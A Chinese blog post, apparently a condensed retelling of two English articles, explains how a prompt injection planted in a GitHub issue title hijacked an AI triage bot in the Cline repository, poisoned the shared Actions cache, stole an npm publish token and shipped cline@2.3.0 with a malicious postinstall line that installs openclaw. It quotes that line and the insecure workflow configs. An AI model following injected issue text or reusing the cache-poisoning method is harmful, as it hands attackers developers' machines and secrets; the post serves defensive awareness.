一个 GitHub Issue 标题如何让 4000 台电脑沦陷?

原文地址:

  1. A GitHub Issue Title Compromised 4,000 Developer Machines
  2. How to steal npm publish tokens by opening GitHub issues

此系列并非原文的死板翻译,而是我经过理解和提炼后的输出。仅聚焦其中最有意思和有价值的部分。想了解所有细节的小伙伴,可以去原文查看完整内容。

试想一下:你只是像往常一样打开电脑写代码,但你的 npm publish token 却已经被黑客窃取了------而这一切的罪魁祸首,竟然只是某人在某个开源项目里提了一个 GitHub Issue!

这听起来像是天方夜谭,但它却真实地发生在了 AI 编程助手 Cline 身上。

背景:一颗名为 OpenClaw 的"子弹"

在 2026 年 2 月 17 日,有人悄悄发布了 cline@2.3.0。这个版本表面上波澜不惊,仅仅在 package.json 中添加了一句不起眼的脚本:

bash 复制代码
"postinstall": "npm install -g openclaw@latest"

不过,这里被安装的"龙虾"(OpenClaw)并不是今天的主角,它只是这次攻击中被黑客利用的一把枪

当时的 OpenClaw(2026.1.29 版本之前)存在一个极其严重的身份验证绕过漏洞(CVE-2026-25253,CVSS 评分高达 8.8!)。简单来说,任何人都可以通过跳过握手过程中的 scopes 字段,直接以最高权限的"操作员"身份连接,完全不需要令牌(Token)。而 OpenClaw 本身对系统的权限极大,这就意味着你环境变量中的各种敏感数据,瞬间成了黑客的囊中之物。

整个恶意包存活了短短 8 小时,却被下载安装了大约 4000 次。

最让人拍案叫绝的,是这场攻击的入口 ------黑客仅仅通过自然语言,利用 GitHub Issue 的标题,就完成了一次完美的"提示词注入(Prompt Injection)"攻击。

攻击过程:教科书级的供应链投毒

原文 1 整理了非常完整的攻击链路图,这里借着图片,带大家重新梳理一下这个精妙的过程:

1. GitHub Issue 注入:祸从口出

首先,Cline 仓库使用 Anthropic 官方的 claude-code-action 来进行 Issue 的自动化分类,它会自动读取用户提的问题、添加对应的标签等。

它的配置是这样的:

yaml 复制代码
allowed_non_write_users: "*"
claude_args: >-
  --allowedTools "Bash,Read,Write,Edit,Glob,Grep,WebFetch,WebSearch"
prompt: |
  **Issue:** #${{ github.event.issue.number }}
  **Title:** ${{ github.event.issue.title }}

稍微对权限和安全敏感的朋友,看到这里可能已经倒吸一口凉气了。这里存在三个致命问题:

  1. 任何 GitHub 用户都可以创建 Issue(毫无门槛)。
  2. Claude Action 的权限给得太大 了!它不仅有读权限,甚至还有写文件和运行 Bash 命令的权限。
  3. GitHub Issue 的标题,被直接拼接到了 prompt 配置中!

其中第三点,正是这次攻击的"命门"。由于直接把外部不可信的输入(Issue 标题)喂给了 AI,这就给了黑客进行提示词注入的绝佳机会。配合上第二点里过大的工具权限,黑客只要在标题里写上一段"自然语言命令",AI 就会乖乖去执行。

2. GitHub Actions 缓存污染:偷梁换柱

提示词注入只是第一步。毕竟,上一步受控的只是个 Issue 分类工具,它是怎么影响到 NPM 发包的呢?这一步才是真正精妙的操作。

Cline 的发布工作流为了加速,使用了 node_modules 缓存:

yaml 复制代码
- name: Cache root dependencies
  uses: actions/cache@v4
  id: root-cache
  with:
    path: node_modules
    key: ${{ runner.os }}-npm-${{ hashFiles('package-lock.json') }}

在 GitHub Actions 上,每个仓库都有一个共享的缓存池(最大 10GB)。当缓存池被填满后,旧的缓存就会被系统自动擦除。

这就好比一个公共储物柜(Cache 池)满了,黑客故意塞满一堆垃圾把原本主人的东西挤出去,然后偷偷放进一个长得一模一样、但里面装了炸弹的假包裹(篡改后的 node_modules)。

在这个例子中,Issue 检测和发布的 Action 共用同一个缓存池。攻击者通过提示词注入,命令 AI 疯狂向缓存写入大量垃圾数据,迫使 GitHub 清除了旧的合法缓存。随后,攻击者再写入一个新的缓存 Key,而这个 Key 指向的,正是他们提前篡改过的恶意 node_modules

当 Cline 的维护者触发正常的发布 Action 时,工作流就会毫无防备地从缓存中拉取那个带有后门的 node_modules。最终,攻击者在发布环境里如鱼得水,轻松窃取了环境变量中的 NPM Publish Token。

3. 恶意版本发布:收网

到了这一步,一切水到渠成。黑客拿着第二步窃取到的 NPM Token,光明正大地发布了带有恶意 postinstall 脚本的 cline@2.3.0 版本。

Cline 的"草台班子"应对

其实,这个漏洞早在 2025 年 12 月下旬,就已经被安全研究员 Adnan Khan 发现,并通过 GitHub 的安全公告(Security Advisory)上报给了官方。

但令人无语的是,Cline 方面似乎并没有引起足够的重视,一直没有实质性动作。直到 2 月 9 日 Khan 彻底公开了漏洞细节,Cline 方面才开始进行修复和 Token 的轮换。

然而最戏剧性的一幕来了:Cline 方面居然删错了 Token!

由于被窃取的旧 Token 有效期足够长且没有被真正吊销,黑客最终还是成功利用它发布了恶意包。

从去年 12 月下旬初次上报,到 2 月中旬事发,中间足足有 2 个多月的空窗期。如果 Cline 团队稍微重视一点安全问题,这场波及 4000 台机器的供应链攻击,完全是可以避免的。

这里不得不提一下我们公司在安全方面的响应速度了。有时候虽然看起来有点"小题大做",但遇到这类安全报告,真的是会第一时间停下手头其他事情,集中精力去排查和复盘的。安全无小事啊!

总结与启示

1. 警惕"自然语言"的注入攻击

这个事件给我最大的感受是:AI 时代的安全边界正在被重塑。

如果你的产品接入了 AI,那么在任何涉及 AI 处理的输入框里,你不仅要防范传统的 XSS、SQL 注入,更要时刻警惕**自然语言的提示词注入(Prompt Injection)**攻击。

未来的网络安全工程师,可能真的要开始学写 Prompt 防御策略了。

2. NPM 的防线该如何巩固?

巧的是,在上一篇精读文章中,刚好介绍了利用 pnpm 的安全控制功能防御 npm 供应链攻击

如果开发者们使用了上一篇文章里提到的任何一个技巧,都极有可能阻断这次 openclaw 的恶意安装,从而避免惨剧发生。

在 Node 生态中,NPM 的供应链安全,真的是时候引起每一位开发者的重视了。

AI 时代的工具链越来越智能,但也带来了防不胜防的全新安全盲区。

相关推荐
用户6757049885022 分钟前
Celery 太重了?这可能是你一直在找的 asyncio 任务队列
后端·python·消息队列
Cloud_Shy6183 分钟前
Python 数据分析基础入门:《Excel Python:飞速搞定数据分析与处理》学习笔记系列(第十一章 Python 包跟踪器 下篇)
前端·后端·python·数据分析·excel
kyriewen5 分钟前
我用AI把公司10万行代码屎山重构了,CTO看了代码后说:你提前转正
前端·javascript·ai编程
神奇小汤圆22 分钟前
为什么Redis能称霸缓存界?揭秘其每秒10万+读写的核心技术
后端
楼田莉子27 分钟前
C++17新特性:结构化绑定/inline变量/if相关的变化
c++·后端·学习
Mr_sst40 分钟前
Codex 部署、使用教程 & Vibe Coding 实战指南
java·ai·语言模型·chatgpt·ai编程
无限进步_43 分钟前
【C++】C++11的类功能增强与STL变化
java·前端·数据结构·c++·后端·算法
字节跳动数据库44 分钟前
TRAE × 火山引擎 Supabase:为你的 AI 应用装上“数据引擎”
人工智能·后端
用户6757049885021 小时前
Python 统一大业:uv 如何整合 Pip、Pyenv 和 Venv?
后端·python
倚栏听风雨1 小时前
Spring AI 流式工具调用:你的 TOOL_CALLS Chunk 去哪了?
后端